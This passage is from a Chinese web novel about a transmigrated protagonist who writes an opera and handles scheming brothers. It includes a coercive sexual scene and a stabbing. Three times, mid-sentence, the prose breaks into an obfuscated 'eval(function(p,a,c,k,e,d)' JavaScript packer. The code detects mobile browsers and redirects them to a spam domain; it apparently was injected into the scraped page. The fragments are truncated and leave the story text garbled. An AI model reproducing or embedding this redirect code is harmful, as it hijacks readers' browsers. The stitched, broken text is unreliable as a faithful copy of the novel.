“无趣、过时、单调!曲目太短!” 他一生气撅嘴,两撇八字胡就像小鸟尾巴上翘。他重重拍打桌面,痛斥面前的助手。 “我让你去找能用得上的剧本,你给我带来了什么?!垃圾、狗屎、我把我的布鲁诺丢上台,都比这些有趣!” 橘猫布鲁诺和它主人一样圆滚滚,趴在钢琴上打哈欠。 “可、可是汉斯先生,之前筛选的时候,这些人都在您的候补名单上啊。”助理为自己辩解道,“这个、还有这个,你原来不是也选中了——” “那是给秋季盛会安排的,但现在不一样!” 肥胖又是出汗体质,经理汉斯吼完立马面红耳赤,不得不坐下喘气擦汗。 “那客人,不仅是贵客,是我们的新投资人,未来拿捏我们饭碗的人。我提前告诉你,他比我更苛刻更挑剔。你若不想以后扫地出门去大街上喝西北风,就给我大海捞针选、拼命挖!——” 这嗓音洪亮又刺耳,择明与乔尔不约而同往后微仰,借此降低音浪杀伤力。 恰是这时,汉斯注意到他们。 “乔尔!你不在下面看门,跑上来做什么?!” 早习惯经理暴跳如雷的日常,乔尔面不改色道,“先生,我这不是帮您解难嘛,喏,这是来送剧本的年轻人。” 汉斯眉间皱起沟壑,对择明的第一印象还是‘糟糕’等级。 “你要给我看什么。” 择明拆掉油纸,将亲自装订的书册捧在手心,没贸然走上前。 “请您允许?” 汉斯面色稍缓,招手示意进来。 一旁助理定力不足,盯着择明那副假面出神,直到被汉斯拍桌喝斥。 “去倒茶!客人都要坐在你头顶了,你还要傻站到什么时候?” 别说是灰溜溜心慌慌的助理,连平时好说话的择明都难得收敛,端坐在汉斯对面。 【系统Z:我现在能分辨出来了。比起您的无视,这更符合生气。而且很影响健康】 择明哭笑不得,想回应却被拍桌声打断。 “拿给我看看,不要磨蹭,万圣节小男孩。” 汉斯一手接过助理送上的茶杯,一手向他。 厚重,沉甸如果实的书册,被它的创作者双手奉上。汉斯烦躁的心底蓦然涌出股怪异情绪,没由来的心悸。他愤懑扯掉几颗扣子。 看来是他脾气太火爆,迟早要因为心脏承受不住猝死。 牛皮纸翻开第一页,经理双眼失焦数秒,往后读几行,他动作再变。 左边放着曲谱,右边放着台本,他同时翻看着,并在中间节段忍不住颤抖。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592334|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你写的作品?!”他瞪大眼,急促呼吸,“这、这全部都是你写的?” 择明点头。 由于汉斯模样太符合发怒前兆,逗留门外的乔尔看不下去,想说几句平息对方,好让莱特被丢出去时不会太难看。 然而开口没蹦出一个字,他就见经理绕过长桌,激动按住莱特肩膀。 “怎么会这样、你怎么会有这种——” “绝伦!精妙绝伦!” 比起突如其来的怒斥,此刻语无伦次的赞美才最让助理乔尔难以置信。 哪怕是城中享誉多年的顶尖作曲家将成品摆到汉斯眼前,他顶多也只评价‘很好’,‘不错’,‘这很有价值’。 可汉斯不给他们弄清原因的机会,将他们赶出休息室,一面捧着合册视如珍宝,贪婪阅读,哼着旋律。一面又频频看着择明说不出话,怕这个从天而降的救星消失。 待汉斯心情平复,择明才说道。 “如果您满意,汉斯先生。我可以无偿将他赠予您。不受任何分成费。” 刚从沉浸的作品中走出,汉斯口干舌燥,猛灌几口茶水。 汉斯:“那你一定会有什么要求吧。” “是的。一个请求。”择明改正道,“不过。还得等您能先找到人排演一遍,越快越好。这样我才知道能不能拜托您。毕竟这也是我的第一个作品,我不知道它到底有几分成功。” 第一个作品?! 汉斯因震惊呆立,随后脖子一梗,仰头畅快大笑。 “我该说你是太高傲好,还是太谦虚?莱特·莱恩阁下。” 称呼从刚才的‘小男孩’到‘阁下’,一百八十度大转变的汉斯只觉得理所当然。他特地起身,与人郑重握手。 “那也得请您容我几天时间准备,到时如何联系?” 思索一番,择明留下伊凡·贝内特的名字以及传真地址。 默念那名字,汉斯虽然疑惑,但也只当这是同名同姓,没去多想。他亲自将择明送到剧院楼下,在这又聊了半小时,才意犹未尽与人告别。 回程还是同一趟火车,择明心情尚佳,指尖轻叩桌面,断断续续哼着不成旋律的音节。 【系统Z:即将接手这剧院的新投资人,是林威廉】 择明:“这汉斯先生不是告诉我们了吗,Z。” 【系统Z:我的意思是,您是因为知道这点,所以才故意选择这家剧院么】 近期与霍子骥联系的买家。 除此之外,还是‘莱特·莱恩’互相通气,交付霍家机密的同行竞争者。但莱特·莱恩不曾见过林威廉。 列车停在中间站,择明透过窗,看到两只麻雀在站牌顶端互啄互追,吵闹着彼此用爪尖踩压。 他回答。 “我只是选出他们中间最好的罢了。” 麻雀。这种一手可握的小东西,到处飞到处叽喳。大抵是同类中最具好奇心的一种,总爱落脚窗台,窥探屋中人们。 而由人类甩出的枕头,是将他们驱逐的常见工具。 昏暗卧室内,霍子骥保持丢枕头的姿势,坐在角落地板上。 酒味弥散,他每根凌乱的发丝仿佛都被高浓度酒液浸泡,粘稠又刺鼻。 三天未洗漱未出门,下巴已长出胡茬。 与这落魄萎靡模样相反,他双目有神,甚至像点着了火苗格外发亮。 “莱特·莱恩……” 念出这名字时,唇齿摩擦,冰凉的酒滑进喉中,入胃却似火灼热。一如这三天里,这个名字在他胸前中挥之不去,深深烙印。 紧闭的房门在这时被敲响。 “子骥。你在里面么?” 母亲的声音并未让他眼中泛起波澜。 “你已经三天没出来了,就算生病也该吃东西,要么让伊凡给你看看。” 苦口婆心好言相劝,门后依旧是死一般寂静,霍夫人不禁板起脸,严厉起来。 “我知道你在里面灌酒,也该适可而止了。你父亲他刚好这几天能下地……” 念叨声逐渐消失在霍子骥身后,他翻出窗,动作敏捷而灵活,借助窗边柏树像只大猫溜下去。 啰嗦又烦人的女人。 不耐烦的他心中说道。 三天时间,他不全是喝酒闷头睡觉。 大脑是世间最便利优越的放映机,能为他循环播放着那些刻骨铭心的,回味无穷的幕幕经历。 而这两者兼具的一段,主角名为‘莱特·莱恩’,对他只有一句台词。 ——希望您能记住,这又是我们的一个秘密了 那声音,时刻回响在耳边,令他辗转难眠。 踩着草皮花圃前行,霍子骥想着想着忽然笑出声。 “原来还是一个记仇的。” 因为他也以‘秘密’为由,用老花农的命要挟对方。 所以,对方也非要在那时机特地使用‘秘密’一词。 树叶蹭过胸膛,霍子骥看着远处花房笑容愈深。而当他发现金属门前的人时,几乎要遏制不住冲动,扑上去抓牢人。 可人影察觉他靠近,先一步转身。 霍子骥刹住脚步,表情从迷惑的空白渐渐转成鄙夷。 对方亦与他不相上下,两手环抱在胸前,目光冰冷。 ——他怎么会到这来。 此时此刻,霍家两兄弟内心所想达到高度一致。 “二哥。”霍子骥率先问候,却是满眼戏谑,“原来你长腿了,知道跑出来晒太阳了?” 从小到大,霍子晏向来与霍子骥不对付。倒不是水火不容,但相看相厌是真。 以往他都把霍子骥的取笑当耳边风,要么当对方不是说自己。然而今日站在某个人的门前,他莫名来了底气。 “我还想说,子骥原来也长这么大了啊。就是可惜了一张嘴,还学不会怎么跟长辈说话。霍夫人或许要再跟父亲反应一下,多请几个伶牙俐齿的漂亮家教教你。十七八个,你大概够了吧?” 回应出乎意料的尖酸刻薄,也精准踩中霍子骥的怒点。 远处小道上,择明姗姗来迟撞见这幕,嘴不禁张开‘O’型。 “哦噢,情况不太妙。” 他惊叹着担忧,可却步步藏进树丛,蹲下两手撑着脑袋,轻笑充满期待。 “两只小麻雀狭路相逢,要斗起来了。” 9. 打破的声音是pop!-09 新胡茬硬如小刺,不仅摸着扎人,某些时分感觉像种怪异生命体,寄居脸颊。 霍子骥摩挲下巴冷笑,感叹面前这位名义上的‘二哥’不逊于他几天未剃的毛刺,碍事碍眼。 四岁前,他同母亲被霍昭龙安排在其他别墅里。 那时‘霍夫人’还是伦娜小姐,一名百合花情人。馥郁芬芳,娇柔美丽,却有着随时被替换出花瓶的可能。 尽管厌烦母亲,更厌恶受其约束,霍子骥亦不得不承认,那女人在实现野心这方面,俨然是霍昭龙的次等版本。否则也没有他入住霍家的今日。 不算上后来的莱特,家中三个小孩,霍骊他从没私下面对面见过,就剩二哥,抬头不见低头见。 而正如每个组合家庭会有的通病,在霍子晏看来,他与他母亲是抢走前任夫人之位的偷窃犯,可憎可恨。 对他来说,霍子晏是不过问家业的呆木头。但过去无论是请家教还是在私立学院读书,霍子晏总能名列前茅,生活又至简得乏味,相比他可称作风顶级良好。 后来霍子晏辍学钻研绘画,霍昭龙虽放任其去,却也没殷勤支持。 这是一枚危险信号。 在霍昭龙心里,他另一个‘不务正业’的儿子依然是候选者。 雨夜,少年颈间涌出血色,杂乱诗篇与银面具后的怪诞面庞,被人以神秘蛇腔道出的‘秘密’一词。 种种碎片飞闪而过,霍子骥心不禁一沉。 马童艾文之死,他以‘艾文外出跑腿时失踪’瞒过所有人,可他至今找不到,更想不出是谁针对他,还如此了解他,甚至是他鲜为人知的床|中喜好。 唯一能肯定的是,对方离他很近。 近到他不敢想象。 思索间,霍子骥走出树荫,理了理衣襟。 “十七八个,那也太夸张了,二哥。你弟弟我虽然笨,可还没到这种令人发指的地步。”他突然笑得乖巧,露出整齐洁白两排牙,“你别看我现在邋里邋遢,纵欲过度似得,其实我这只是出来找灵感。” 霍子晏眉头一皱。 “灵感?你来找什么灵感?” 他看着霍子骥下巴一抬,示意他身后大门紧锁的花房。 “就这儿啊。实不相瞒,最近我找了一位不错的师父学艺,日日夜夜,陶冶情操……可有趣了。” 言辞刻意暧昧,话又是从他这匹狂放下流的野兽口中而出。 怒意霎那间拂过霍子晏紧绷的脸,厉色直白毫不掩饰。 这与霍昭龙神似的模样令霍子骥愈发不适,也令他彻底对其打消疑虑。 毕竟能想出安插间|谍招数的人,是绝不会因为一点模棱两可真假未定的小事,对他轻易表露愤怒的。 “谁……你找的老师,是谁?!” 木头人变成妖怪,凶相毕露,霍子骥举起两手,惊诧后退。 “二哥这是怎么了?我可没向你讨要学费啊,为什么要这么生气呢,嗯?” 试探到这其实可以结束,然霍子骥见人胸膛起伏激烈,呼吸急促,忽然来了兴趣。他继续佯装无知,却又笑得意味深长。 “二哥,难不成,其实你也想来拜师,夜以继日学习吗?但却被我抢先——” “啪嚓。” 霍子晏迈开长腿,倾身尚未走出一步便被树枝断裂声打岔。 兄弟二人双双转头,看向林道。 斑驳树影下,择明缓步前行,他仿佛是刚回来才这发现他们俩兄弟,于几步外一停,鞠躬行礼。 “三少爷,二少爷。” 猝不及防与他相遇,那两人一时无言,也没从道上让开。 择明:“请问,两位到这有什么事么。” 闻言霍子晏猛然转头,瞪着霍子骥眼神阴恻。 毫无疑问,刚才‘寻师作乐’的说辞完全是这混球糊弄他的。 像他们年幼时,年少时,一次又一次的整蛊取笑,没有停手的时候。 并非专程针对他,也不为从他身上获取利益。 恶意单纯,好比浪漫孩童随心所欲,会讲借口不讲道理。就与曾将莱特步步逼向末路的那群恶徒别无二致。 这一刻,霍子晏胸腔内鼓起团难以抒发的气。 危险气体,易燃易爆。 在此之前他从不知道,自己竟是如此易怒的脾气。 而当他发觉霍子骥正对莱恩·莱恩目不转睛,眸中闪动异样光彩时,气团已临近爆发点。 或许有血缘纽带相连,又或许是同屋檐下共住多年,他单凭这一个眼神,解读出霍子骥汹涌翻腾的欲|念。 “莱特。你说前几天有事,我就没来找你。” 霍子骥语速略快,上前抢先发话,“结果早上我一问仆人,他们说你这几天都没用餐。” 连续三天加班加点,本就消瘦的青年下巴又变尖不少,面具似乎都不再贴合。 端详着对方,霍子晏无奈摇头,试图带人往小径外走。远离那居心不轨的霍子骥,越远越好。 “走吧,我先带你去我那,让仆人送点东西来。” 边说边小心回头,只见霍子骥倚着树干并未追上,惬意眯眼深呼吸,像在享受午后暖阳与林间空气。第二次再看,他人已消失在原地,大抵是识趣离开了。 霍子晏如释重负,步伐间距缩短一半。 “你流了很多汗,子晏。你还好吗?” 左犹如触电,大幅度动弹,但并未甩开掌中牵握的手。霍子晏僵着脸,从目光呆滞到眼神乱瞟。 原来刚才逃得匆忙,他浑然不知自己是牵着莱特走的。尽管这并非天理难容的大事,可此刻他汗如雨下,心慌意乱,像行窃犯被当场揭发,无法言语。 “最近天热,在外面很容易中暑。你有哪不舒服么?” 男人嘴唇翕动,发不出声。 “我……” 折叠平整的丝绢,纯白一角印着靛蓝五瓣花。 抽出它的人用那指节弯曲的右手,替他轻拭汗珠。 犹如巫师向凡人展示奇妙魔法,是戏弄也是施舍,一股清凉甜味霎时从鼻前涌入,灌进脑海又于喉头回涌,将焦躁惶恐驱逐。 “一点薄荷柑橘混香。” 择明轻笑,解释这场‘魔法’原理。 “我本来想尝试制作点凉性香水,消暑用。可惜新手上道,失败得一塌糊涂。果然还是得乖乖去买。” 【系统Z:您所有器材是烧得一塌糊涂了,不过香水勉为其难算成功】 听着系统无情揭老底,择明两眼弯起,笑意更浓。 【下次我会换更耐用的】 【系统Z:我还以为您是要说,下次会注意用火的】 霍子晏沉默依旧,唯有频频吞咽时的喉结耸动暴露其激烈的心绪。 洒有香水的手帕最后被择明送给了他,而他则将对方领到主宅四楼——专属于他,此前不曾接待任何宾客的画室。 画室足有四五间房宽敞,周围靠墙摆满橱柜,各种颜料齐全,画纸画布存放满满当当。往里一圈,雪白石雕林立,围绕着两只空画架。 这显然被精心整理过,地板留着物品挪动的痕迹。 “可能还有点乱,你小心脚下颜料。因为我不喜欢别人进出。”霍子晏脱下外套,特地补充,“但莱特你随时都能来,也不必顾虑,想用什么就尽管拿,我完全不介意。事实上,你能来这我简直欣喜若狂。” 他目光紧随着择明,择明则动身走向摆放成品画的位置。 择明:“原来你还特地用一个地方,放我的画么。” 最初的雅歌新娘,黎明闪蝶,后来的花漫地洞,海潮拥月。每一幅都被精心装裱,放在最显眼,最能无死角供人观赏的地方。 择明没在自己作品展前逗留太久,他反而朝壁炉走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592335|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,抬头仰望一名捧花妇人的肖像画。 女人身着紫色洋裙,帽檐垂挂面纱,将憔悴但依旧美丽的面容半笼。 “这是我母亲。”霍子晏走到择明身边。 “她一直希望我能亲自帮她画一幅……但我没赶在她离开前。” 忆起往昔,男人垂头,两只手攥成拳紧贴身侧。仿佛变成当年恐惧无措的男孩,陷在失去至亲的痛苦,和不为人知的愧疚中。 “画展,其实母亲不用去的。是因为我很想知道,那天有没有我喜欢的画家在场,她为了我才去的……” 车启动,藏于车底的炸|弹立即爆炸。当时爆炸威力太低,他母亲没死只是重伤昏迷,可混乱中有人冲出来,朝车里补了几枪后自|尽。 “她原本,不用去的。” “她也不该死在那里的。” 而谋杀真正的目标更不是她,是那辆车的主人霍昭龙。他的父亲。 一个妻子才因自己丧命不久,又很快将新欢迎娶进门的男人。 然多年缄默寡言,不代表他看不见听不到。他能笃定地说,这男人对所有的‘新欢’都是一成不变的态度。 没有过度宠爱的,没有相敬如宾的,他放在身边的妻子,永远是若即若离的漂亮情人,能为他充门面,让他拥有完整的一家之主头衔。 “……她不该在那死去的。” 喃喃重复着,霍子晏自知失态,转过身强装镇定,去门外通知仆人送餐。 注视霍子晏背影,择明又得一问。 【系统Z:您不打算安慰霍子晏么,主人】 “为什么?”择明轻声反问,“你为什么觉得,我该安慰他?” 新类型的难题将系统困住,它的主人亦不再话题,与霍子晏在画室谈天论地,笑声不绝于耳。二人共食一份点心,互相碰杯取乐。 最后被择明强烈要求,霍子晏才打消亲自送他下楼的念头。 夜晚再起闷雷,一场阵雨已蠢蠢欲动。 回花房的路上他毫无征兆开口,谆谆教诲。 “你之所以会困惑,Z。是因为你忘了记牢我选择的‘果’。” 【系统Z:您选择要成为一个完美的‘反派’】 “是的。” 【系统Z:可您……】 它的主人,总是笑脸相迎,善待他人的怪才。 做着与莱特·莱恩迥异,甚至能说天差地别的事。 似乎什么都会,什么都懂,看不穿他是在故弄玄虚,还是真有着深不见底,诉求交错密如蛛网,不可探查的内心。 这仿佛是一个无法破处的死循环。让系统被困了一遍又一遍。 “别着急,Z。我们还有足够多的时间相处。” 又像上次宽慰系统,择明解锁推开花房大门,屋内没提前准备夜灯,好在对场地熟悉,他轻松摸黑到桌旁。 取出火柴盒,身后枝叶沙沙响了一下。 红芯火柴划出道亮光,发丝受不知来源的微风牵引上扬。 到手被人抓住高举,身后已然覆来一道躯体,那片炙热胸膛紧贴他脊背。 木柴顶的小火苗受到惊吓,扑闪几秒便可怜兮兮地熄灭。 “如果您是太暗在找灯的话,三少爷。我可以提醒您,你找错地方了。” “哦?是么,多谢告知。” 霍子骥声音低沉,笑着猛力下压,像飓风带着摧枯拉朽之势压弯苍天古树。 但比原来随心所欲,蛮不讲理稍好的一点的是,他今天竟知道抬手挪开桌上东西,没让书册纸笔打翻在地。 如愿制住人,霍子骥难忍激越,两次呼吸猛跳仿佛没有间隙。 他附到对方耳边,近到每说一个字,齿尖都能蹭过耳廓,温热鼻息参杂浓醇酒味,是上品的葡萄佳酿。 “你说,你把我上一个令人满意的小玩具埋地里了,你要怎么赔我?” 10. 打破的声音是pop!-10 沐浴后的身躯自带氤氲芳香水汽,很难想象,像霍子骥这类人居然选用薰衣草香波。其中一缕若有若无肉桂香经垂落发丝传导,钻进择明鼻中。 双手被制,后颈给人以下巴抵住难以动弹,择明淡然抛出一问。 “我还以为三少爷您是真准备来这,向我彻夜学习,沉心知识的。” 因二人胸膛贴后背,霍子骥那低沉笑声像经身体传导,震得择明发痒。 “你白天是躲在哪看的好戏?嗯?” “你又是想跟谁再说一次‘晚安’,拧断他的脖子?我那呆木头二哥吗?” 若这位滥情三少爷也有自己的技艺爱好,那他必定是名卓越厨师。能用一双娴熟巧手按摩上乘牛肉,好让它褪去死亡时的苍白僵硬,变得酥松软糯,鲜嫩多汁,以供他更好享受。 今夜特地不待防身顶针,此刻他也不再按压择明肩膀,松开束缚,边说着边再度拥紧。 手却在即将挑开衣襟前给人抓握,对方力道不轻不重。可某种被掌控的寒意莫名萦绕心头,引起下意识的退缩。 霍子骥第一时间抽出手支起身体,并未走开。 在他营造的狭小空间里,择明总算转过身,不用再做乌龟。 “请原谅我愚钝,我并不明白您刚才的意思。我与二少爷趣味相投,机缘巧合成为朋友,相谈甚欢。再说,晚安不过是种常见问候语。” 说到这,择明不由得发笑。 “会在砍断别人脖子前发话的,一般是刽子手,而他们也只会问‘你是否承认你有罪’。是这样么,三少爷。您知道吗?” 他正人君子腔调,霍子骥反接接不出话来。只面无表情,蹙眉思索,琢磨着是他多想,还是这话真含沙射影,谴责他的罪孽。 闷雷由远及近,雨点却先心急火燎奔向地面,滴答敲打花房悬顶。尽管屋内漆黑一片,可适应后的二人已能通过注视彻底看清彼此。 从容,静谧,紫蓝绣球花般的眼睛如夜间深海,一眼望不到尽处。 远航者斗志昂扬,准备万全,依旧不敌浩渺深海,被诱使着失去方向,丧失理智,落得自甘跃下甲板的结局。 回想林道初次质问的幕幕,霍子骥心猛跳两下。 因他意识到,以他一贯强硬威逼,如火如雷的手段,压根无法在名为‘莱特·莱恩’的海洋中掀起波澜,小小水花也转瞬即逝。 冷傲医师伊凡拒绝过他,源于忍无可忍的愠怒,尚且能称作‘反应’。而他少数没得手的目标,情况或多或少相同。 当下这刻,前所未有。 或许他能撕扯掉这身衣服,犹如狂兽进食,将咬痕吻|痕留遍整具胴体,利刃挺|进侵占,快意攻城略地后,可这人仍镇定得像无事发生。 说不准,还会带着一样的礼貌笑意,对他说,‘你快要结束了吗’,‘祝你有个愉快的后半夜’,‘再会,三少爷’。 挫败感,一位久违且发誓老死不相往来的糟糕损友,毫无预兆敲响霍子骥的门,让他降旗投降,恍惚退开。 择明顺势站直,捋平衣领褶皱。 他捡回火柴,点燃夜灯。 “这儿得有一个坏消息,和一个好消息让您知道。坏消息是若您来学如何照料花卉,我想以我浅薄的知识,恐怕也只能带您入门。好消息是,今年这所花房或将是庄园中最美的一隅。” 提灯转身,动作不急不缓,他没将霍子骥领到艾文安眠的花渠,而是另丛月季前。 绿叶枝丫间花蕾安睡,沁香若隐若现,瞥见奇异的混色花瓣,霍子骥惊讶挑眉。 “什么时候家里也种得起这种昂贵品种了?” 在庄园或在会所置办酒宴,他往往从上到下,从里到外都亲自打点,为让所有眼光极高,要求严苛的贵客满意。而若到场贵妇小姐居多,他就得多在鲜花甜点上花些心思。 粗鲁拽过株月季,霍子骥凑近观察,像严格裁判评分后啧啧称奇。 “我前言收回,外面卖的货色也不及你这半分。” 这批混色月季质量极佳,粉黄双色渐变柔和,好似温馨暖阳,白红条纹交错得当,是纯天然的杰作。放在本地售卖,价格相当于三匹牛。正值青年,肉质最好的小公牛。 原先他听说这马夫之子打点花草有一手,没曾想是真的。 “我听说三少爷,是这次庆生宴的主办人。不知您的方案里,是否还有空缺的点子。” 霍子骥回神,难得表情冰冷,木着脸。 “我正奇怪着你怎么突然搭理我。原来是为了我那半只脚进棺材的大姐?”他不禁冷哼道,“所以,你那晚帮我解决掉艾文,不过是想方便要挟我,向我讨好处。” “你想要什么?要我替你给搭桥牵线。做媒人?” ‘痴情莱特为爱断手’的故事早传遍庄园上下,更别提当时亲眼见证全程的霍子骥。 答案其实是意料之中,可霍子骥憋着闷火,莫名气愤。没东西好发泄,他便收紧手发力,摧残着掌中价值千金的月季。 择明捻起朵浅粉花苞,它瓣已微绽,露出奶白中心。 “这是伊芙马蒂诺风琴和阿班斯,两种月季混杂的后代。您知道,想要得出这一朵,要重复多少次取粉授粉,筛选重来么?”他语调舒缓,吐字清晰,引人不自觉倾听。 霍子骥脱口而出,“要几次?” “三千八百五十六次。如果是在花场有人均摊次数倒轻松。若只有一个人操作……” 月季花期虽长,可要在数量如此之多的花种中重复杂交,等待开花,筛选再来。光是想想霍子骥就头疼。 “对付这种苦闷,我个人有一个很好的诀窍。” 择明侧身,他手中提灯的光将他苍白面庞染上浅浅火色。 “我将永远怀着烈火燃烧般的希望,和对您真挚纯净,至死不渝的爱。” 霍子骥拉扯月季的手松动,无措片刻但很快转过脸,嗤笑一问。 “你突然对我念你那乱七八糟的诗歌做什么?” 煤油灯火苗扑闪,他余光所见,青年仿佛因他的话而双眼发亮。 “原来您还记下来了。这倒出乎我意料,三少爷。所以您是想在我这学习点普通园艺,还是不值一提的诗歌纂曲。您可以不用给我学费,只求您在生日宴当天,替我这卑贱人送上祝福便好。” 不待对方回应,择明又举高灯,使这丛月季被暖光照耀。 “不过有一点我希望您知道,我对艾文所做之事,和对霍骊小姐,和对你,都无关系。” 难以理解。 霍子骥抓乱头发腹诽。 淅沥雨声浇灭他晚间伊始的躁动,险些令他忘记来此的目的。他兴奋期待的没发生,想知道的秘密与真相竹篮打水一场空。 今夜他唯一能确定的,是莱特·莱恩对霍骊的真情,名副其实。 即便对方坦言,帮他斩断间谍风波并非为了霍骊,也不是为从他这换取‘捷径’,讨好那闭门不出的大小姐。 但已有亦真亦假传言在先,很难不去往这方面想。 就连那部歌剧作品,也是为霍骊而创作的。 真的,不可理喻。 宛如嗅到腐烂腥臭味大倒胃口,霍子骥啧嘴没给答复,一声不吭冒雨离开花房。 一直到他背影消失在林中,择明才听到系统出声。 【系统Z:我还以为,您刚才是要在这直接跟三少爷进行实践学习】 “如果真要的话,Z。”择明若有所思停顿,“那我或许要借用伊凡先生的医学小知识,来招待三少爷了。毕竟三少爷虽然看着生猛狂野,很刺激的样子,但技术实在欠佳,差点火候,实在不适合做鱼水之欢的领路人。” 【系统Z:那这么说,您已经很懂了么,主人】 择明放下灯朝空气眨眼,笑意狡黠。 “如果你想,我可以试试看,Z。我能毫不谦虚的讲,我或许能用声音让你的小朋友‘去一回’。” 此后长达三分钟的沉寂,是择明度过最艰难的忍笑时光。 而Z最后不负他期待,回答他道。 【系统Z:很抱歉让您失望,主人。坦诚的说,我并没有那个功能】 “不,你从来不会让我失望,Z。事实上,你可让我开心了,比有小马驹再多两点吧。就是可惜你,那该怎么说来着,唔——你得打光棍了。” “但如果不介意的话,算我陪你当伴。” 【系统Z:嗯】 短暂的停歇后。 【系统Z:这是我的荣幸】 择明:“也是我的荣幸。” 为诚实可爱的系统愉快,择明今夜躺上吊床时嘴角都挂着浅笑。 而当他次日带着新课本踏入教堂大门,那群孩子一个个像饿虎扑食,欢呼吵闹着将他包围。 “莱恩先生!您的脸!——” “哇啊啊!” 小玛吉首次指着他激动尖叫,脸蛋通红。 择明右脸消肿死皮褪去后,还没过来教堂一趟,这是他第一次以这幅模样出现。 尽管恢复使得整张阴阳脸左右对比得更惨烈,可早已看习惯烧伤那半边,孩子们只是由衷为他高兴,经过他允许,小心触摸着,在他左右脸留下亲吻。 也是因他焕然一新的右脸,今天不少孩子听课走神,让他轻拍脑门惩罚。 积攒几天的课一直教到黄昏,最后节绘画课结束,择明抬头,与角落靠墙的伊凡目光不期而遇。 男人今日没戴眼镜,使不苟言笑的脸庞柔和不少,目光沉沉与他心照不宣,互相点头问候。 老牧师照常叫走孩子分发点心,他则被大步上前的伊凡叫住。 “今天没有问诊,我东西送到就走。” 伊凡示意他停止摆问诊台,从衣兜取出张纸递来。 原来以汉斯为代表的安士白剧院通过电报,正式向他发出感谢和邀请。 第一次排演于昨晚紧锣密鼓进行,效果不错,而依汉斯工作狂人的爆|炸脾气,今后整个乐团将会没日没夜被他压着练习,直到月底前能让《安德尔》顺利登上舞台。仔细一算,其实也只剩十天不到。 而作为歌剧的灵魂核心,原作者择明必有优待。 像在今晚,他就被邀请去参观彩排,顺便在现场提点意见。 “有人给我发来这个。我想他应该不是问错地址,或找我恶作剧吧?” 伊凡冷不防发问,语气多少有点兴师问罪。 于是择明赶忙解释。 “您可以把它当成森林妖精的善良好意,而非恼人的恶作剧。”他特地睁大眼,好让神情更无辜,热忱推销起来,“免费的剧院票,安士白剧院贵宾观赏位,空间绝对私密又舒服,还有免费点心。今后凡是报上我名字,您能随便带伴去,带几个都不成问题。” 男人撇嘴哼气,嗤之以鼻。 伊凡:“我没某位少爷的好身体。” 【系统Z:还有你打光棍,也没一个伴能带】 被Z的补充彻底戳中笑点,择明不禁狂按上翘的嘴角,接着转身,将纸放进旧提箱。 来教堂学习的孩子越来越多,他以前的油纸包已经不够用了。但教堂有换旧物的活动,老牧师特地帮他留了一只皮箱。 然而指腹抹过提把模糊的‘I·B’缩写刻痕,旧物原主是谁,不言而喻。 告别学生与伊凡肩并肩走出小巷,择明环顾四周一圈,颇感意外。 “您今天没搭车过来?” “我家司机有事。我就自己出来走走。”伊凡双手插兜,姿态闲散而随意。 择明点头,不做追问。 路过阴凉河道,也是即将分别的岔路,伊凡可算不再欲言又止,道出来意。 “你晚上要去剧院,正好,我也去。” “嗯?”择明佯装诧异,“原谅我多嘴一问,您去那有什么事要办么?要给病人看诊?我记得,您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人最多,最拥挤的鱼市,追逐感与步步紧逼的身影唤醒人心中原始的,被凶兽狩猎的紧迫。 自始至终注意身后,伊凡余光及时捕捉到冲来的男人——他像拨开杂草般推搡两侧行人,右手探向衣服里。 “小心!” 话音未落他扯过择明一拉,跨步挡在跟前,下意识抬手防御。 寒光划破衣袖,也刺进脆弱皮肤,原本该落在择明后背的刀尖,被伊凡·贝内特的手抵挡。 行动失败,那灰衣男人目光愤恨却不做停留,掉头冲入还未反应过来的人群中。 手臂鲜血汩汩流,伊凡失去以往镇定,忘了止血,忘了思考,紊乱的呼吸好似有谁扼住他的咽喉。 他只知道这伤口再深一点,再大一点,他这手也会像某人一样,彻底废了。 “呲啦——” 撕扯声响起,一熟悉的双手出现在他视野,为他按压包扎,完美紧急止血。这手主人的声音,是嘈杂围观者中唯一清晰,却令他颤栗胆寒的。 “这,已过于无礼了,伊凡先生。您说是么?” 他怔愣抬头,却被搀扶坐到长椅上。 “请帮我照看一下我的朋友。他是医生,之后可以照他说的做。” 他听到对方交代着周围的好心人,声音沉稳有力。却不像以往和煦温柔,可驱散任何阴邪寒冷。 伊凡·贝内特脸色发白,因逆光被迫眯眼。 面具遮遮掩得住面容,却无法阻挡眸中透出的深深冷意。在此之前,他从不知道一个被称作‘天使’般的人,能变得如岩窟魔王般阴鸷。 “我需要点时间,给不知礼貌的人,一点小教训……” 转身没入拥挤人群,呢喃声如恶魔低语弥留耳际,仿佛永远跟随逃亡者,找到天涯海角。 此刻这片街区唯一在奔逃的,是刺伤伊凡的灰衣男人。 从表情上看,他很懊恼,因为目标并不是他没见过的伊凡。是在他们帮派里被视为‘肥羊’的莱特·莱恩。 此前他到处踩点,总算摸清这肥羊的轨迹,原本他想更早动手的,可那几天肥羊却没来。导致他差点被催债的打得半死。 